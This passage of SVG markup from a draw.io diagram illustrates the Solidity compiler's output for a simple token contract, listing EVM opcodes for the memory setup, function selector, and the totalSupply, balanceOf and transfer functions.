transform="rotate(180,2351,1077)" pointer-events="none"/><path d="M 2628 1130 L 2628 1130" fill="none" stroke="#82b366" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2628 1130 L 2628 1130 L 2628 1130 L 2628 1130 Z" fill="#82b366" stroke="#82b366" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2370 410 L 2527.28 56.13" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2529.4 69.82 L 2528.64 53.06 L 2515.69 63.73" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2367.5 488 L 2634.95 254.41" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2631.11 267.72 L 2637.47 252.21 L 2621.24 256.42" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2370 1020 L 2643.3 1010.24" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2631.93 1018.15 L 2646.65 1010.12 L 2631.39 1003.16" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2380 1080 L 2514.18 1156.67" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2500.34 1157.41 L 2517.09 1158.34 L 2507.79 1144.38" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><rect x="2530" y="1530" width="210" height="80" fill="#ffffff" stroke="#666666" pointer-events="none"/><path d="M 2530 1556 L 2530 1530 L 2740 1530 L 2740 1556 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="2634.5" y="1548.5">Free memory pointer</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-2534-1561-202-54-0)" font-size="12px"><text x="2535.5" y="1573.5">000 PUSH1 80</text><text x="2535.5" y="1587.5">002 PUSH1 40</text><text x="2535.5" y="1601.5">004 MSTORE</text></g><rect x="2570" y="1630" width="210" height="110" fill="#ffffff" stroke="#666666" pointer-events="none"/><path d="M 2570 1656 L 2570 1630 L 2780 1630 L 2780 1656 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="2674.5" y="1648.5">Short calldata check</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-2574-1661-202-84-0)" font-size="12px"><text x="2575.5" y="1673.5">005 PUSH1 04</text><text x="2575.5" y="1687.5">007 CALLDATASIZE</text><text x="2575.5" y="1701.5">008 LT</text><text x="2575.5" y="1715.5">009 PUSH2 0056</text><text x="2575.5" y="1729.5">012 JUMPI</text></g><rect x="2556" y="1763" width="540" height="390" fill="#ffffff" stroke="#666666" pointer-events="none"/><path d="M 2556 1789 L 2556 1763 L 3096 1763 L 3096 1789 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="2825.5" y="1781.5">Function selector</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-2560-1794-532-364-0)" font-size="12px"><text x="2561.5" y="1806.5">013 PUSH4 ffffffff</text><text x="2561.5" y="1820.5">018 PUSH29 0100000000000000000000000000000000000000000000000000000000</text><text x="2561.5" y="1834.5">048 PUSH1 00</text><text x="2561.5" y="1848.5">050 CALLDATALOAD</text><text x="2561.5" y="1862.5">051 DIV</text><text x="2561.5" y="1876.5">052 AND</text><text x="2561.5" y="1890.5">053 PUSH4 18160ddd</text><text x="2561.5" y="1904.5">058 DUP2</text><text x="2561.5" y="1918.5">059 EQ</text><text x="2561.5" y="1932.5">060 PUSH2 005b</text><text x="2561.5" y="1946.5">063 JUMPI</text><text x="2561.5" y="1960.5">064 DUP1</text><text x="2561.5" y="1974.5">065 PUSH4 70a08231</text><text x="2561.5" y="1988.5">070 EQ</text><text x="2561.5" y="2002.5">071 PUSH2 0082</text><text x="2561.5" y="2016.5">074 JUMPI</text><text x="2561.5" y="2030.5">075 DUP1</text><text x="2561.5" y="2044.5">076 PUSH4 a9059cbb</text><text x="2561.5" y="2058.5">081 EQ</text><text x="2561.5" y="2072.5">082 PUSH2 00b0</text><text x="2561.5" y="2086.5">085 JUMPI</text><text x="2561.5" y="2100.5">086 JUMPDEST</text><text x="2561.5" y="2114.5">087 PUSH1 00</text><text x="2561.5" y="2128.5">089 DUP1</text><text x="2561.5" y="2142.5">090 REVERT</text></g><rect x="3640" y="2072.5" width="490" height="460" fill="#ffffff" stroke="#d6b656" pointer-events="none"/><path d="M 3640 2098.5 L 3640 2072.5 L 4130 2072.5 L 4130 2098.5 Z" fill="#fff2cc" stroke="#d6b656" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="3884.5" y="2091">totalSupply() function wrapper</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-3644-2104-482-434-0)" font-size="12px"><text x="3645.5" y="2116">091 JUMPDEST</text><text x="3645.5" y="2130">092 CALLVALUE</text><text x="3645.5" y="2144">093 DUP1</text><text x="3645.5" y="2158">094 ISZERO</text><text x="3645.5" y="2172">095 PUSH2 0067</text><text x="3645.5" y="2186">098 JUMPI</text><text x="3645.5" y="2200">099 PUSH1 00</text><text x="3645.5" y="2214">101 DUP1</text><text x="3645.5" y="2228">102 REVERT</text><text x="3645.5" y="2242">103 JUMPDEST</text><text x="3645.5" y="2256">104 POP</text><text x="3645.5" y="2270">105 PUSH2 0070</text><text x="3645.5" y="2284">108 PUSH2 00f5</text><text x="3645.5" y="2298">111 JUMP</text><text x="3645.5" y="2312">112 JUMPDEST</text><text x="3645.5" y="2326">113 PUSH1 40</text><text x="3645.5" y="2340">115 DUP1</text><text x="3645.5" y="2354">116 MLOAD</text><text x="3645.5" y="2368">117 SWAP2</text><text x="3645.5" y="2382">118 DUP3</text><text x="3645.5" y="2396">119 MSTORE</text><text x="3645.5" y="2410">120 MLOAD</text><text x="3645.5" y="2424">121 SWAP1</text><text x="3645.5" y="2438">122 DUP2</text><text x="3645.5" y="2452">123 SWAP1</text><text x="3645.5" y="2466">124 SUB</text><text x="3645.5" y="2480">125 PUSH1 20</text><text x="3645.5" y="2494">127 ADD</text><text x="3645.5" y="2508">128 SWAP1</text><text x="3645.5" y="2522">129 RETURN</text></g><rect x="3640" y="2624.5" width="490" height="290" fill="#ffffff" stroke="#6c8ebf" pointer-events="none"/><path d="M 3640 2650.5 L 3640 2624.5 L 4130 2624.5 L 4130 2650.5 Z" fill="#dae8fc" stroke="#6c8ebf" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="3884.5" y="2643">balanceOf(address) function wrapper</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-3644-2656-482-264-0)" font-size="12px"><text x="3645.5" y="2668">130 JUMPDEST</text><text x="3645.5" y="2682">131 CALLVALUE</text><text x="3645.5" y="2696">132 DUP1</text><text x="3645.5" y="2710">133 ISZERO</text><text x="3645.5" y="2724">134 PUSH2 008e</text><text x="3645.5" y="2738">137 JUMPI</text><text x="3645.5" y="2752">138 PUSH1 00</text><text x="3645.5" y="2766">140 DUP1</text><text x="3645.5" y="2780">141 REVERT</text><text x="3645.5" y="2794">142 JUMPDEST</text><text x="3645.5" y="2808">143 POP</text><text x="3645.5" y="2822">144 PUSH2 0070</text><text x="3645.5" y="2836">147 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="3645.5" y="2850">168 PUSH1 04</text><text x="3645.5" y="2864">170 CALLDATALOAD</text><text x="3645.5" y="2878">171 AND</text><text x="3645.5" y="2892">172 PUSH2 00fb</text><text x="3645.5" y="2906">175 JUMP</text></g><rect x="3570" y="3059.07" width="490" height="570" fill="#ffffff" stroke="#b85450" pointer-events="none"/><path d="M 3570 3085.07 L 3570 3059.07 L 4060 3059.07 L 4060 3085.07 Z" fill="#f8cecc" stroke="#b85450" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="3814.5" y="3077.57">transfer(address,uint256) function wrapper</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-3574-3090-482-544-0)" font-size="12px"><text x="3575.5" y="3102.57">176 JUMPDEST</text><text x="3575.5" y="3116.57">177 CALLVALUE</text><text x="3575.5" y="3130.57">178 DUP1</text><text x="3575.5" y="3144.57">179 ISZERO</text><text x="3575.5" y="3158.57">180 PUSH2 00bc</text><text x="3575.5" y="3172.57">183 JUMPI</text><text x="3575.5" y="3186.57">184 PUSH1 00</text><text x="3575.5" y="3200.57">186 DUP1</text><text x="3575.5" y="3214.57">187 REVERT</text><text x="3575.5" y="3228.57">188 JUMPDEST</text><text x="3575.5" y="3242.57">189 POP</text><text x="3575.5" y="3256.57">190 PUSH2 00e1</text><text x="3575.5" y="3270.57">193 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="3575.5" y="3284.57">214 PUSH1 04</text><text x="3575.5" y="3298.57">216 CALLDATALOAD</text><text x="3575.5" y="3312.57">217 AND</text><text x="3575.5" y="3326.57">218 PUSH1 24</text><text x="3575.5" y="3340.57">220 CALLDATALOAD</text><text x="3575.5" y="3354.57">221 PUSH2 0123</text><text x="3575.5" y="3368.57">224 JUMP</text><text x="3575.5" y="3382.57">225 JUMPDEST</text><text x="3575.5" y="3396.57">226 PUSH1 40</text><text x="3575.5" y="3410.57">228 DUP1</text><text x="3575.5" y="3424.57">229 MLOAD</text><text x="3575.5" y="3438.57">230 SWAP2</text><text x="3575.5" y="3452.57">231 ISZERO</text><text x="3575.5" y="3466.57">232 ISZERO</text><text x="3575.5" y="3480.57">233 DUP3</text><text x="3575.5" y="3494.57">234 MSTORE</text><text x="3575.5" y="3508.57">235 MLOAD</text><text x="3575.5" y="3522.57">236 SWAP1</text><text x="3575.5" y="3536.57">237 DUP2</text><text x="3575.5" y="3550.57">238 SWAP1</text><text x="3575.5" y="3564.57">239 SUB</text><text x="3575.5" y="3578.57">240 PUSH1 20</text><text x="3575.5" y="3592.57">242 ADD</text><text x="3575.5" y="3606.57">243 SWAP1</text><text x="3575.5" y="3620.57">244 RETURN</text></g><rect x="2628" y="2190" width="510" height="1250" fill="#ffffff" stroke="#666666" pointer-events="none"/><path d="M 2628 2216 L 2628 2190 L 3138 2190 L 3138 2216 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="2882.5" y="2208.5">function wrappers</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-2632-2221-502-1224-0)" font-size="12px"><text x="2633.5" y="2233.5">091 JUMPDEST</text><text x="2633.5" y="2247.5">092 CALLVALUE</text><text x="2633.5" y="2261.5">093 DUP1</text><text x="2633.5" y="2275.5">094 ISZERO</text><text x="2633.5" y="2289.5">095 PUSH2 0067</text><text x="2633.5" y="2303.5">098 JUMPI</text><text x="2633.5" y="2317.5">099 PUSH1 00</text><text x="2633.5" y="2331.5">101 DUP1</text><text x="2633.5" y="2345.5">102 REVERT</text><text x="2633.5" y="2359.5">103 JUMPDEST</text><text x="2633.5" y="2373.5">104 POP</text><text x="2633.5" y="2387.5">105 PUSH2 0070</text><text x="2633.5" y="2401.5">108 PUSH2 00f5</text><text x="2633.5" y="2415.5">111 JUMP</text><text x="2633.5" y="2429.5">112 JUMPDEST</text><text x="2633.5" y="2443.5">113 PUSH1 40</text><text x="2633.5" y="2457.5">115 DUP1</text><text x="2633.5" y="2471.5">116 MLOAD</text><text x="2633.5" y="2485.5">117 SWAP2</text><text x="2633.5" y="2499.5">118 DUP3</text><text x="2633.5" y="2513.5">119 MSTORE</text><text x="2633.5" y="2527.5">120 MLOAD</text><text x="2633.5" y="2541.5">121 SWAP1</text><text x="2633.5" y="2555.5">122 DUP2</text><text x="2633.5" y="2569.5">123 SWAP1</text><text x="2633.5" y="2583.5">124 SUB</text><text x="2633.5" y="2597.5">125 PUSH1 20</text><text x="2633.5" y="2611.5">127 ADD</text><text x="2633.5" y="2625.5">128 SWAP1</text><text x="2633.5" y="2639.5">129 RETURN</text><text x="2633.5" y="2653.5">130 JUMPDEST</text><text x="2633.5" y="2667.5">131 CALLVALUE</text><text x="2633.5" y="2681.5">132 DUP1</text><text x="2633.5" y="2695.5">133 ISZERO</text><text x="2633.5" y="2709.5">134 PUSH2 008e</text><text x="2633.5" y="2723.5">137 JUMPI</text><text x="2633.5" y="2737.5">138 PUSH1 00</text><text x="2633.5" y="2751.5">140 DUP1</text><text x="2633.5" y="2765.5">141 REVERT</text><text x="2633.5" y="2779.5">142 JUMPDEST</text><text x="2633.5" y="2793.5">143 POP</text><text x="2633.5" y="2807.5">144 PUSH2 0070</text><text x="2633.5" y="2821.5">147 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="2633.5" y="2835.5">168 PUSH1 04</text><text x="2633.5" y="2849.5">170 CALLDATALOAD</text><text x="2633.5" y="2863.5">171 AND</text><text x="2633.5" y="2877.5">172 PUSH2 00fb</text><text x="2633.5" y="2891.5">175 JUMP</text><text x="2633.5" y="2905.5">176 JUMPDEST</text><text x="2633.5" y="2919.5">177 CALLVALUE</text><text x="2633.5" y="2933.5">178 DUP1</text><text x="2633.5" y="2947.5">179 ISZERO</text><text x="2633.5" y="2961.5">180 PUSH2 00bc</text><text x="2633.5" y="2975.5">183 JUMPI</text><text x="2633.5" y="2989.5">184 PUSH1 00</text><text x="2633.5" y="3003.5">186 DUP1</text><text x="2633.5" y="3017.5">187 REVERT</text><text x="2633.5" y="3031.5">188 JUMPDEST</text><text x="2633.5" y="3045.5">189 POP</text><text x="2633.5" y="3059.5">190 PUSH2 00e1</text><text x="2633.5" y="3073.5">193 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="2633.5" y="3087.5">214 PUSH1 04</text><text x="2633.5" y="3101.5">216 CALLDATALOAD</text><text x="2633.5" y="3115.5">217 AND</text><text x="2633.5" y="3129.5">218 PUSH1 24</text><text x="2633.5" y="3143.5">220 CALLDATALOAD</text><text x="2633.5" y="3157.5">221 PUSH2 0123</text><text x="2633.5" y="3171.5">224 JUMP</text><text x="2633.5" y="3185.5">225 JUMPDEST</text><text x="2633.5" y="3199.5">226 PUSH1 40</text><text x="2633.5" y="3213.5">228 DUP1</text><text x="2633.5" y="3227.5">229 MLOAD</text><text x="2633.5" y="3241.5">230 SWAP2</text><text x="2633.5" y="3255.5">231 ISZERO</text><text x="2633.5" y="3269.5">232 ISZERO</text><text x="2633.5" y="3283.5">233 DUP3</text><text x="2633.5" y="3297.5">234 MSTORE</text><text x="2633.5" y="3311.5">235 MLOAD</text><text x="2633.5" y="3325.5">236 SWAP1</text><text x="2633.5" y="3339.5">237 DUP2</text><text x="2633.5" y="3353.5">238 SWAP1</text><text x="2633.5" y="3367.5">239 SUB</text><text x="2633.5" y="3381.5">240 PUSH1 20</text><text x="2633.5" y="3395.5">242 ADD</text><text x="2633.5" y="3409.5">243 SWAP1</text><text x="2633.5" y="3423.5">244 RETURN</text></g><rect x="2688" y="3850" width="510" height="1400" fill="#ffffff" stroke="#666666" pointer-events="none"/><path d="M 2688 3876 L 2688 3850 L 3198 3850 L 3198 3876 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="2942.5" y="3868.5">function bodies</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-2692-3881-502-1374-0)" font-size="12px"><text x="2693.5" y="3893.5">245 JUMPDEST</text><text x="2693.5" y="3907.5">246 PUSH1 00</text><text x="2693.5" y="3921.5">248 SLOAD</text><text x="2693.5" y="3935.5">249 SWAP1</text><text x="2693.5" y="3949.5">250 JUMP</text><text x="2693.5" y="3963.5">251 JUMPDEST</text><text x="2693.5" y="3977.5">252 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="2693.5" y="3991.5">273 AND</text><text x="2693.5" y="4005.5">274 PUSH1 00</text><text x="2693.5" y="4019.5">276 SWAP1</text><text x="2693.5" y="4033.5">277 DUP2</text><text x="2693.5" y="4047.5">278 MSTORE</text><text x="2693.5" y="4061.5">279 PUSH1 01</text><text x="2693.5" y="4075.5">281 PUSH1 20</text><text x="2693.5" y="4089.5">283 MSTORE</text><text x="2693.5" y="4103.5">284 PUSH1 40</text><text x="2693.5" y="4117.5">286 SWAP1</text><text x="2693.5" y="4131.5">287 SHA3</text><text x="2693.5" y="4145.5">288 SLOAD</text><text x="2693.5" y="4159.5">289 SWAP1</text><text x="2693.5" y="4173.5">290 JUMP</text><text x="2693.5" y="4187.5">291 JUMPDEST</text><text x="2693.5" y="4201.5">292 PUSH1 00</text><text x="2693.5" y="4215.5">294 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="2693.5" y="4229.5">315 DUP4</text><text x="2693.5" y="4243.5">316 AND</text><text x="2693.5" y="4257.5">317 ISZERO</text><text x="2693.5" y="4271.5">318 ISZERO</text><text x="2693.5" y="4285.5">319 PUSH2 0147</text><text x="2693.5" y="4299.5">322 JUMPI</text><text x="2693.5" y="4313.5">323 PUSH1 00</text><text x="2693.5" y="4327.5">325 DUP1</text><text x="2693.5" y="4341.5">326 REVERT</text><text x="2693.5" y="4355.5">327 JUMPDEST</text><text x="2693.5" y="4369.5">328 CALLER</text><text x="2693.5" y="4383.5">329 PUSH1 00</text><text x="2693.5" y="4397.5">331 SWAP1</text><text x="2693.5" y="4411.5">332 DUP2</text><text x="2693.5" y="4425.5">333 MSTORE</text><text x="2693.5" y="4439.5">334 PUSH1 01</text><text x="2693.5" y="4453.5">336 PUSH1 20</text><text x="2693.5" y="4467.5">338 MSTORE</text><text x="2693.5" y="4481.5">339 PUSH1 40</text><text x="2693.5" y="4495.5">341 SWAP1</text><text x="2693.5" y="4509.5">342 SHA3</text><text x="2693.5" y="4523.5">343 SLOAD</text><text x="2693.5" y="4537.5">344 DUP3</text><text x="2693.5" y="4551.5">345 GT</text><text x="2693.5" y="4565.5">346 ISZERO</text><text x="2693.5" y="4579.5">347 PUSH2 0163</text><text x="2693.5" y="4593.5">350 JUMPI</text><text x="2693.5" y="4607.5">351 PUSH1 00</text><text x="2693.5" y="4621.5">353 DUP1</text><text x="2693.5" y="4635.5">354 REVERT</text><text x="2693.5" y="4649.5">355 JUMPDEST</text><text x="2693.5" y="4663.5">356 POP</text><text x="2693.5" y="4677.5">357 CALLER</text><text x="2693.5" y="4691.5">358 PUSH1 00</text><text x="2693.5" y="4705.5">360 SWAP1</text><text x="2693.5" y="4719.5">361 DUP2</text><text x="2693.5" y="4733.5">362 MSTORE</text><text x="2693.5" y="4747.5">363 PUSH1 01</text><text x="2693.5" y="4761.5">365 PUSH1 20</text><text x="2693.5" y="4775.5">367 DUP2</text><text x="2693.5" y="4789.5">368 SWAP1</text><text x="2693.5" y="4803.5">369 MSTORE</text><text x="2693.5" y="4817.5">370 PUSH1 40</text><text x="2693.5" y="4831.5">372 DUP1</text><text x="2693.5" y="4845.5">373 DUP4</text><text x="2693.5" y="4859.5">374 SHA3</text><text x="2693.5" y="4873.5">375 DUP1</text><text x="2693.5" y="4887.5">376 SLOAD</text><text x="2693.5" y="4901.5">377 DUP6</text><text x="2693.5" y="4915.5">378 SWAP1</text><text x="2693.5" y="4929.5">379 SUB</text><text x="2693.5" y="4943.5">380 SWAP1</text><text x="2693.5" y="4957.5">381 SSTORE</text><text x="2693.5" y="4971.5">382 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="2693.5" y="4985.5">403 DUP6</text><text x="2693.5" y="4999.5">404 AND</text><text x="2693.5" y="5013.5">405 DUP4</text><text x="2693.5" y="5027.5">406 MSTORE</text><text x="2693.5" y="5041.5">407 SWAP1</text><text x="2693.5" y="5055.5">408 SWAP2</text><text x="2693.5" y="5069.5">409 SHA3</text><text x="2693.5" y="5083.5">410 DUP1</text><text x="2693.5" y="5097.5">411 SLOAD</text><text x="2693.5" y="5111.5">412 DUP4</text><text x="2693.5" y="5125.5">413 ADD</text><text x="2693.5" y="5139.5">414 SWAP1</text><text x="2693.5" y="5153.5">415 SSTORE</text><text x="2693.5" y="5167.5">416 SWAP3</text><text x="2693.5" y="5181.5">417 SWAP2</text><text x="2693.5" y="5195.5">418 POP</text><text x="2693.5" y="5209.5">419 POP</text><text x="2693.5" y="5223.5">420 JUMP</text><text x="2693.5" y="5237.5">421 STOP</text></g><rect x="580" y="3614" width="120" height="80" rx="12" ry="12" fill="#f5f5f5" stroke="#666666" pointer-events="none"/><image x="618.5" y="3620.5" width="42" height="42" xlink:href="https://www.draw.io/img/clipart/Gear_128x128.png" preserveAspectRatio="none" pointer-events="none"/><g transform="translate(591.5,3673.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="96" height="12" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 12px; font-family: Helvetica; color: black; line-height: 1.2; vertical-align: top; width: 98px; white-space: nowrap; overflow-wrap: normal; font-weight: bold; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">Solidity compiler</div></div></foreignObject><text x="48" y="12" fill="black" text-anchor="middle" font-size="12px" font-family="Helvetica" font-weight="bold">Solidity compiler</text></switch></g><path d="M 730 3634 L 790 3634 L 790 3634 L 820 3654 L 790 3674 L 790 3674 L 730 3674 L 760 3654 Z" fill="#f5f5f5" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><g transform="translate(1456.5,970.5)rotate(-25,93.5,27.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="187" height="55" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 48px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap; font-weight: bold; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">creation</div></div></foreignObject><text x="94" y="52" fill="#000000" text-anchor="middle" font-size="48px" font-family="Helvetica" font-weight="bold">creation</text></switch></g><g transform="translate(1461.5,3212.5)rotate(22,88,27.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="176" height="55" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 48px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap; font-weight: bold; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">runtime<br /></div></div></foreignObject><text x="88" y="52" fill="#000000" text-anchor="middle" font-size="48px" font-family="Helvetica" font-weight="bold">runtime&lt;br&gt;</text></switch></g><path d="M 470 3631.5 L 545 3631.5 L 545 3676.5 L 470 3676.5 Z" fill="#e6e6e6" stroke="none" pointer-events="none"/><path d="M 470 3676.5 L 470 3631.5 L 480 3641.5 L 480 3666.5 Z" fill-opacity="0.25" fill="#ffffff" stroke="none" pointer-events="none"/><path d="M 470 3631.5 L 545 3631.5 L 535 3641.5 L 480 3641.5 Z" fill-opacity="0.5" fill="#ffffff" stroke="none" pointer-events="none"/><path d="M 545 3631.5 L 545 3676.5 L 535 3666.5 L 535 3641.5 Z" fill-opacity="0.25" fill="#000000" stroke="none" pointer-events="none"/><path d="M 470 3676.5 L 480 3666.5 L 535 3666.5 L 545 3676.5 Z" fill-opacity="0.5" fill="#000000" stroke="none" pointer-events="none"/><g transform="translate(483.5,3647.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="48" height="13" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 13px; font-family: Helvetica; color: black; line-height: 1.2; vertical-align: top; white-space: nowrap; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">Compile</div></div></foreignObject><text x="24" y="13" fill="black" text-anchor="middle" font-size="13px" font-family="Helvetica">Compile</text></switch></g><path d="M 2251 1726 L 2246 1726 Q 2241 1726 2241 1736 L 2241 1742.5 Q 2241 1749 2236 1749 L 2233.5 1749 Q 2231 1749 2236 1749 L 2238.5 1749 Q 2241 1749 2241 1759 L 2241 1765.5 Q 2241 1772 2246 1772 L 2251 1772" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(180,2241,1749)" pointer-events="none"/><path d="M 2250 1775 L 2245 1775 Q 2240 1775 2240 1785 L 2240 1798.5 Q 2240 1808.5 2235 1808.5 L 2232.5 1808.5 Q 2230 1808.5 2235 1808.5 L 2237.5 1808.5 Q 2240 1808.5 2240 1818.5 L 2240 1832 Q 2240 1842 2245 1842 L 2250 1842" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(180,2240,1808.5)" pointer-events="none"/><path d="M 2250 1845 L 2245 1845 Q 2240 1845 2240 1855 L 2240 2010.5 Q 2240 2020.5 2235 2020.5 L 2232.5 2020.5 Q 2230 2020.5 2235 2020.5 L 2237.5 2020.5 Q 2240 2020.5 2240 2030.5 L 2240 2186 Q 2240 2196 2245 2196 L 2250 2196" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(180,2240,2020.5)" pointer-events="none"/><path d="M 2260 1740 L 2504.45 1573.77" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2499.04 1586.52 L 2507.23 1571.89 L 2490.61 1574.12" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2265 1806 L 2543.86 1682.71" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2536.25 1694.28 L 2546.93 1681.36 L 2530.18 1680.56" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2266 2020 L 2513.6 1942.02" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2504.75 1952.67 L 2516.8 1941.01 L 2500.24 1938.36" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2250 2200 L 2245 2200 Q 2240 2200 2240 2210 L 2240 2784 Q 2240 2794 2235 2794 L 2232.5 2794 Q 2230 2794 2235 2794 L 2237.5 2794 Q 2240 2794 2240 2804 L 2240 3378 Q 2240 3388 2245 3388 L 2250 3388" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(180,2240,2794)" pointer-events="none"/><path d="M 2250 3392 L 2245 3392 Q 2240 3392 2240 3402 L 2240 4062.5 Q 2240 4072.5 2235 4072.5 L 2232.5 4072.5 Q 2230 4072.5 2235 4072.5 L 2237.5 4072.5 Q 2240 4072.5 2240 4082.5 L 2240 4743 Q 2240 4753 2245 4753 L 2250 4753" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(180,2240,4072.5)" pointer-events="none"/><path d="M 2250 4760 L 2245 4760 Q 2240 4760 2240 4770 L 2240 5006.5 Q 2240 5016.5 2235 5016.5 L 2232.5 5016.5 Q 2230 5016.5 2235 5016.5 L 2237.5 5016.5 Q 2240 5016.5 2240 5026.5 L 2240 5263 Q 2240 5273 2245 5273 L 2250 5273" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(180,2240,5016.5)" pointer-events="none"/><path d="M 2290 2800 L 2583.3 2809.78" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2571.41 2816.88 L 2586.65 2809.89 L 2571.91 2801.89" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2273 4091 L 2653.4 4158.82" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 2640.61 4164.16 L 2656.7 4159.41 L 2643.25 4149.39" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 3161 2217 L 3156 2217 Q 3151 2217 3151 2227 L 3151 2416.5 Q 3151 2426.5 3146 2426.5 L 3143.5 2426.5 Q 3141 2426.5 3146 2426.5 L 3148.5 2426.5 Q 3151 2426.5 3151 2436.5 L 3151 2626 Q 3151 2636 3156 2636 L 3161 2636" fill="none" stroke="#d6b656" stroke-miterlimit="10" transform="rotate(180,3151,2426.5)" pointer-events="none"/><path d="M 3161 2642 L 3156 2642 Q 3151 2642 3151 2652 L 3151 2756.5 Q 3151 2766.5 3146 2766.5 L 3143.5 2766.5 Q 3141 2766.5 3146 2766.5 L 3148.5 2766.5 Q 3151 2766.5 3151 2776.5 L 3151 2881 Q 3151 2891 3156 2891 L 3161 2891" fill="none" stroke="#6c8ebf" stroke-miterlimit="10" transform="rotate(180,3151,2766.5)" pointer-events="none"/><path d="M 3161 2894 L 3156 2894 Q 3151 2894 3151 2904 L 3151 3154 Q 3151 3164 3146 3164 L 3143.5 3164 Q 3141 3164 3146 3164 L 3148.5 3164 Q 3151 3164 3151 3174 L 3151 3424 Q 3151 3434 3156 3434 L 3161 3434" fill="none" stroke="#b85450" 